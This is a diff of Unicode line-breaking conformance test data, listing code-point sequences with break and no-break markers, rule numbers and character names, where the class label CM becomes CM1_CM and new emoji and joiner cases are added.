+× 0022 × 0308 × 0020 × 0085 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0022 × 17D6 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0022 × 0020 ÷ 17D6 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0022 × 0308 × 17D6 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0022 × 0308 × 17D6 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0022 × 0030 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] DIGIT ZERO (NU) ÷ [0.3]
× 0022 × 0020 ÷ 0030 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0022 × 0308 × 0030 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] DIGIT ZERO (NU) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0022 × 0308 × 0030 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] DIGIT ZERO (NU) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0022 × 0028 ÷ # × [0.3] QUOTATION MARK (QU) × [15.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0022 × 0020 × 0028 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [15.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0022 × 0308 × 0028 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [15.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0022 × 0308 × 0020 × 0028 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [15.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0022 × 0308 × 0028 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [15.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0022 × 0308 × 0020 × 0028 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [15.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0022 × 0025 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] PERCENT SIGN (PO) ÷ [0.3]
× 0022 × 0020 ÷ 0025 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0022 × 0308 × 0025 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] PERCENT SIGN (PO) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0022 × 0308 × 0025 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] PERCENT SIGN (PO) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 0022 × 0024 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] DOLLAR SIGN (PR) ÷ [0.3]
× 0022 × 0020 ÷ 0024 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0022 × 0308 × 0024 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] DOLLAR SIGN (PR) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0022 × 0308 × 0024 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] DOLLAR SIGN (PR) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0022 × 0022 ÷ # × [0.3] QUOTATION MARK (QU) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 0022 × 0020 ÷ 0022 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0022 × 0308 × 0022 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0022 × 0308 × 0022 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0022 × 0020 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [0.3]
× 0022 × 0020 × 0020 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0022 × 0308 × 0020 × 0020 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0022 × 0308 × 0020 × 0020 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0022 × 002F ÷ # × [0.3] QUOTATION MARK (QU) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0022 × 0020 × 002F ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0022 × 0308 × 002F ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0022 × 0308 × 0020 × 002F ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0022 × 0308 × 002F ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0022 × 0308 × 0020 × 002F ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0022 × 2060 ÷ # × [0.3] QUOTATION MARK (QU) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0022 × 0020 × 2060 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0022 × 0308 × 2060 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0022 × 0308 × 0020 × 2060 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0022 × 0308 × 2060 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0022 × 0308 × 0020 × 2060 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0022 × 200B ÷ # × [0.3] QUOTATION MARK (QU) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0022 × 0020 × 200B ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0022 × 0308 × 200B ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0022 × 0308 × 0020 × 200B ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0022 × 0308 × 200B ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0022 × 0308 × 0020 × 200B ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0022 × 1F1E6 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0022 × 0020 ÷ 1F1E6 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0022 × 0308 × 1F1E6 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0022 × 0308 × 1F1E6 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0022 × 261D ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0022 × 0020 ÷ 261D ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0022 × 0308 × 261D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 261D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0022 × 1F3FB ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0022 × 0020 ÷ 1F3FB ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0022 × 0308 × 1F3FB ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0022 × 0001 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0022 × 0020 ÷ 0001 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0022 × 0308 × 0001 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0022 × 200D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0022 × 0020 ÷ 200D ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0022 × 0308 × 200D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 200D ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0022 × 00A7 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] SECTION SIGN (AI_AL) ÷ [0.3]
× 0022 × 0020 ÷ 00A7 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0022 × 0308 × 00A7 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0022 × 0308 × 00A7 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0022 × 50005 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] <reserved-50005> (XX_AL) ÷ [0.3]
× 0022 × 0020 ÷ 50005 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0022 × 0308 × 50005 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0022 × 0308 × 50005 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0022 × 0E01 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0022 × 0020 ÷ 0E01 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0022 × 0308 × 0E01 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0022 × 0308 × 0E01 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0022 × 3041 ÷ # × [0.3] QUOTATION MARK (QU) × [19.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0022 × 0020 ÷ 3041 ÷ # × [0.3] QUOTATION MARK (QU) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0022 × 0308 × 3041 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [19.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0022 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0022 × 0308 × 3041 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0022 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] QUOTATION MARK (QU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0020 ÷ 0023 ÷ # × [0.3] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0020 × 0020 ÷ 0023 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0020 ÷ 0308 × 0023 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0020 ÷ 0308 × 0023 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0020 ÷ 2014 ÷ # × [0.3] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0020 × 0020 ÷ 2014 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0020 ÷ 0308 ÷ 2014 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0020 ÷ 0308 ÷ 2014 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0020 ÷ 0009 ÷ # × [0.3] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0020 × 0020 ÷ 0009 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0020 ÷ 0308 × 0009 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0020 ÷ 0308 × 0009 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0020 ÷ 00B4 ÷ # × [0.3] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0020 × 0020 ÷ 00B4 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0020 ÷ 0308 ÷ 00B4 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0020 ÷ 0308 ÷ 00B4 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0020 × 000B ÷ # × [0.3] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0020 × 0020 × 000B ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0020 ÷ 0308 × 000B ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 × 000B ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0020 ÷ 0308 × 000B ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 000B ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0020 ÷ FFFC ÷ # × [0.3] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0020 × 0020 ÷ FFFC ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0020 ÷ 0308 ÷ FFFC ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0020 ÷ 0308 ÷ FFFC ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0020 × 007D ÷ # × [0.3] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0020 × 0020 × 007D ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0020 ÷ 0308 × 007D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 × 007D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0020 ÷ 0308 × 007D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 007D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0020 × 0029 ÷ # × [0.3] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0020 × 0020 × 0029 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0020 ÷ 0308 × 0029 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
